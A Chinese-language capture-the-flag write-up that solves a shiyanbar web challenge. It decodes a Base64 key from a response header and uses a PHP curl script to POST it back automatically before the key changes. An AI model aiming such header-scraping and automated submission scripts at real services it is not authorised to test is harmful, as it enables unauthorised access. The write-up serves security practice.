题目地址：
http://www.shiyanbar.com/ctf/1854

打开提供的网址发现:

查看其源代码,结尾处有一段注释:

让我们把key用post提交

在回到题目提示的查看响应头

在响应头中发现了KEY, 看起来像是一个Base64编码, 解码后”P0ST_THIS_T0_CH4NGE_FL4G:7B6BIvefr”
多次尝试后发现, ‘:’后面的是随机生成的

尝试是用Chrome浏览器的PostMan插件进行Post方式提交

但是并没有出现结果 , 想到在提示中提到 , 要尽可能得快速提交 , 因此开始写脚本 :

<?php 
	
	$url='http://ctf5.shiyanbar.com/web/10/10.php';
	//获取响应头
	$ch=curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_HEADER, 1);//返回response头部信息
	curl_setopt($ch, CURLOPT_NOBODY, 1);//不返回response body内容
	curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//不直接输出response
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);//如果返回的response 头部中存在Location值，就会递归请求
	$content=curl_exec($ch);
	curl_close($ch);
	//截取base64加密后的KEY
	$result1 = strpos($content,"FLAG: ",0);
	$result2 = strpos($content,"Content-Type:",0);
	$result3 =  substr($content,$result1+6,$result2-$result1-6);
	echo "key_bease64=>".$result3;
	//解密
	$key = base64_decode($result3);
	echo "<br>key=>".$key;
	//截取加密后的key
	$result4 = strpos($key,"FL4G:",0);
	$key = substr($key,$result4+5,strlen($key));
	echo "<br>key=>".$key.'<br>';
	$data['key'] = $key;
	//发送post
	$ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_POST, true);
	curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
    $response = curl_exec($ch);
    if($error=curl_error($ch)){
        die($error);
    }
    curl_close($ch);
    echo "falg=>".$response;
?>

结果: